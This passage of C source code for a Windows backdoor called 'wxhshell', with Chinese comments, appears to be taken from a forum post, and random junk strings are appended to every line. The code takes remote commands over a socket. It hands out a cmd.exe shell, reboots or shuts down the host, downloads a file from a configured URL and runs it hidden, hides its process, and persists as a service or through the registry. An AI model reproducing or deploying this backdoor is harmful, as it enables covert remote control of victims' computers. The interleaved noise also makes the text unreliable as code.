  else { mOyBSOad4  
"Gxf[6B  
    switch(cmd[0]) { kf$0}T`  
  *, o)`  
  // 帮助 M(S:&GOU  
  case '?': { ]#[ R^t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6?ylSQ]1  
    break; OY6l t.t  
  } *Oo2rk nQ  
  // 安装 cX553&  
  case 'i': { b07 MTDFH7  
    if(Install()) Y] nY.5irL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e2%Y8ZJG.  
    else 4>>d "<}C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  >kK  
    break; ?+b )=Z  
    } g(MeCoCc  
  // 卸载 6P!M+PO  
  case 'r': { mg*[,_3q33  
    if(Uninstall()) Vo"\nj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ey3i((L  
    else t*^Q`V wQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +B%ZB9  
    break; nYMdYt04sl  
    } eEQ 4L\d  
  // 显示 wxhshell 所在路径 ; eq^m,oz  
  case 'p': { )}7rM6hv  
    char svExeFile[MAX_PATH]; }S$]MY,*  
    strcpy(svExeFile,"\n\r"); !B(6  
      strcat(svExeFile,ExeFile); 4RNB\D  
        send(wsh,svExeFile,strlen(svExeFile),0); Hc4]2pf  
    break; cyG3le& +G  
    } {v56k8uZ  
  // 重启 }0|,*BkI m  
  case 'b': { KyNv)=x4c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \ M8;CN  
    if(Boot(REBOOT)) b4s.`%U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V\WqA8  
    else { 6<R!`N 6  
    closesocket(wsh); ]7-*1kL8=~  
    ExitThread(0); ^6|Q$]}Ok  
    } =ex71qj)  
    break; n_hV;  
    } /e6\F7  
  // 关机 O[;>Y'zqC%  
  case 'd': { q3e %L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !,PG!Gnl  
    if(Boot(SHUTDOWN)) s 7iguFQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8AVM(d@  
    else { INE8@}e  
    closesocket(wsh); -Yy,L%E]F:  
    ExitThread(0); ;+`t[ go  
    } z'JtH^^Z  
    break; frk(2C8T  
    } $+)SW {7  
  // 获取shell [F/>pL5U$  
  case 's': { gEMxK2MNXj  
    CmdShell(wsh); u)M dFz  
    closesocket(wsh); B3]q*ERAo  
    ExitThread(0); NB;8 e>8  
    break; noC ]&4b  
  } E=3<F_3W  
  // 退出 YUat}-S  
  case 'x': { |#Bz&T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G@ XKE17  
    CloseIt(wsh); _K3?0<=4  
    break; NSUw7hnWvz  
    } xg k~y,F  
  // 离开 lphQZ{8  
  case 'q': { a1_7plg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OW\r }  
    closesocket(wsh); g>A*kY  
    WSACleanup(); 3G dWq*  
    exit(1); WrQe'ny  
    break; c%yhODq/  
        } %,E\8{I+  
  }  PW x9CT  
  } c=K . |g,  
>&7K|$y.J  
  // 提示信息 (4L XoNT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F??})YX  
} o nt8q8  
  } <<W{nSm#  
K>Dn#"{Y  
  return; @-Tt<pl'L  
} ,&rlt+wE  
'kf]l=i[n  
// shell模块句柄 E4 GtJ`{X  
int CmdShell(SOCKET sock) Cb5;l~}L  
{ o<`Mvw@Z  
STARTUPINFO si; u+a" '*  
ZeroMemory(&si,sizeof(si)); N?TXPY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lO! Yl:;m%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]*|+06  
PROCESS_INFORMATION ProcessInfo; (B{`In8G>y  
char cmdline[]="cmd"; \C $LjSS-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); : a @_GIC  
  return 0; > L_kSC?  
} sa$CCQ  
8i/5L=a"`  
// 自身启动模式 '/%]B@!  
int StartFromService(void) zgXg-cr  
{ (`\ DDJ[  
typedef struct }lt5!u~}  
{ mN?y\GB  
  DWORD ExitStatus; N"1o> !  
  DWORD PebBaseAddress; d(9ZopJrQ  
  DWORD AffinityMask; @&#k['c  
  DWORD BasePriority; SEa'>UG  
  ULONG UniqueProcessId; `>-fU<Q1  
  ULONG InheritedFromUniqueProcessId; ]-h;gN  
}   PROCESS_BASIC_INFORMATION; /N .xh  
v1h\ 6r'  
PROCNTQSIP NtQueryInformationProcess; mQdF+b1o  
\9j +ejGf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (Ild>_Tdb`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d$qivct  
f]%:.N~1w  
  HANDLE             hProcess; =jXBF.  
  PROCESS_BASIC_INFORMATION pbi; jYDpJ##Zb  
q{T [|(!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h|qTMwPr  
  if(NULL == hInst ) return 0; R8|H*5T?+  
M#%l}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OSreS5bg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -5vg"|ia,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *?bOH5$@Nw  
>G7dw1;  
  if (!NtQueryInformationProcess) return 0; E/[>#%@i  
q@k/"ee*?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }huj%Pnk )  
  if(!hProcess) return 0; 3-x ;_  
*\Z9=8yK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9U~fc U6  
U )kl !  
  CloseHandle(hProcess); >T84NFdz+  
Buc{dcL/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NULew]:5  
if(hProcess==NULL) return 0; |i_+b@Lul  
_y:-_q  
HMODULE hMod; )Fk*'6  
char procName[255]; 9o%k [n  
unsigned long cbNeeded; e1cqzhI=nA  
HiAj3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tVfZ~q J  
) uM*`%  
  CloseHandle(hProcess); 6Qtyv  
jW]Q-  
if(strstr(procName,"services")) return 1; // 以服务启动 BoJpf8e'-e  
bu0i #  
  return 0; // 注册表启动 atr 0hmQ  
} M%&1j >d  
+;r1AR1)x  
// 主模块 U]/iPG &_  
int StartWxhshell(LPSTR lpCmdLine) "x1?T+j4  
{ Me;XG?`  
  SOCKET wsl; 75v7w  
BOOL val=TRUE; N+lhztYQ?  
  int port=0; eX`wQoV%  
  struct sockaddr_in door; }2xgm9j<  
e={ ?d6  
  if(wscfg.ws_autoins) Install(); BD.&K_AW  
arK(dg~S  
port=atoi(lpCmdLine); UHyGW$B  
qa-%j+  
if(port<=0) port=wscfg.ws_port; \ -n&z;`  
z }3` 9  
  WSADATA data; t@X{qm:%Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]@Z[/z%~04  
r:{;HM+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oYx4+xH/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ml,~@} p  
  door.sin_family = AF_INET; --OAsbr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {Jbouj?V!  
  door.sin_port = htons(port); M r-l  
P5Bva  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G*s5GG@Z.  
closesocket(wsl); m@Hg:DY  
return 1; O0l1AX"  
} hy&WG&qf  
6;C2^J@  
  if(listen(wsl,2) == INVALID_SOCKET) { N)X 3pWC8  
closesocket(wsl); o[I s$j  
return 1; i/{dD"HwM  
} xs 1V?0  
  Wxhshell(wsl); B_DyH C\<  
  WSACleanup(); h ?_@nQ!  
xiv8q/  
return 0; Vp$<@Y  
D`'h8:\  
} .(^%M 2:6  
vRkVPkZ6|  
// 以NT服务方式启动 ''^2rF^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y$Fk0s*>  
{ ]qb>O:T  
DWORD   status = 0; ajCe&+  
  DWORD   specificError = 0xfffffff; Z-j?N{3&  
fQU5'wGp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cb=ixn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fJ  GwT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &>n:7  
  serviceStatus.dwWin32ExitCode     = 0; ffW-R)U|3  
  serviceStatus.dwServiceSpecificExitCode = 0; -!lSk?l  
  serviceStatus.dwCheckPoint       = 0; g es-nG-  
  serviceStatus.dwWaitHint       = 0; lb{X6_.  
!c"EgP+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rF$ S  
  if (hServiceStatusHandle==0) return; Aflf]G1  
7aS%;EU  
status = GetLastError(); Xv+!) j<  
  if (status!=NO_ERROR) QVF561Yz  
{ yi8AzUW cW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fBb:J+  
    serviceStatus.dwCheckPoint       = 0; !k<k]^Z\  
    serviceStatus.dwWaitHint       = 0; vYybQ&E/  
    serviceStatus.dwWin32ExitCode     = status; FwE<_hq//  
    serviceStatus.dwServiceSpecificExitCode = specificError; v4qpE!W27~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :x,dYJm  
    return; C>Q|"Vf2  
  } %H[~V f?d  
e/uLBZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H'IxB[  
  serviceStatus.dwCheckPoint       = 0; naiQ$uq0  
  serviceStatus.dwWaitHint       = 0; w7E#mdW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U#x`u|L&6  
} c8N pk<  
zh{I;~syh  
// 处理NT服务事件,比如:启动、停止 (M?VB*sm0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ov5g`uud  
{ )gx*;z@  
switch(fdwControl) *:% I|5  
{ Z,-J tl  
case SERVICE_CONTROL_STOP: UGxF}Q  
  serviceStatus.dwWin32ExitCode = 0; %CZGV7JdA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IL,iu  
  serviceStatus.dwCheckPoint   = 0; 33ZHrZ  
  serviceStatus.dwWaitHint     = 0; Jt:)(&-t   
  { _VB;fH$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4j}.=u*X7  
  } @X2zIFm  
  return; ?AVnv(_  
case SERVICE_CONTROL_PAUSE: bN&DotG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :*vSC:q  
  break; _}gfec4o  
case SERVICE_CONTROL_CONTINUE: e#vGrLs.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }Ui)xi:8  
  break; \maj5VlJ  
case SERVICE_CONTROL_INTERROGATE: {`Z= LLL  
  break; HqI[]T@  
}; Y=i_2R2e2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KGf@d*ZOMz  
} k$.l^H u  
{z9,CwJan?  
// 标准应用程序主函数 qYPgn _  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -UWyBM3c@  
{ 7:zoF], s  
&p+2Vz{  
// 获取操作系统版本 *'BI=* `  
OsIsNt=GetOsVer(); pJ x H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O) )j  
 T4J WZ  
  // 从命令行安装 N3V4Mpf  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]M 2n%9  
t]{, 7.S  
  // 下载执行文件 a# Uk:O!  
if(wscfg.ws_downexe) { C,8@V`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g2vt(Gf;  
  WinExec(wscfg.ws_filenam,SW_HIDE); cpH*!*S  
} M=fhRCUB  
('`mPD,  
if(!OsIsNt) { ~(L&*/c  
// 如果时win9x,隐藏进程并且设置为注册表启动 =y^ g*9}_  
HideProc(); s]HJcgI  
StartWxhshell(lpCmdLine); Gx|/ Jq  
} #4AqWyp#f  
else ivSpi?   
  if(StartFromService()) ?btX&:j2P  
  // 以服务方式启动 vos-[$  
  StartServiceCtrlDispatcher(DispatchTable); ZSB;4 ?:h  
else fc<,kRp  
  // 普通方式启动 #bb$Icmtk  
  StartWxhshell(lpCmdLine); rW)}$|-Z  
PKev)M;C+  
return 0; k#2b3}(,  
}
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只看该作者 1 发表于: 2006-10-10
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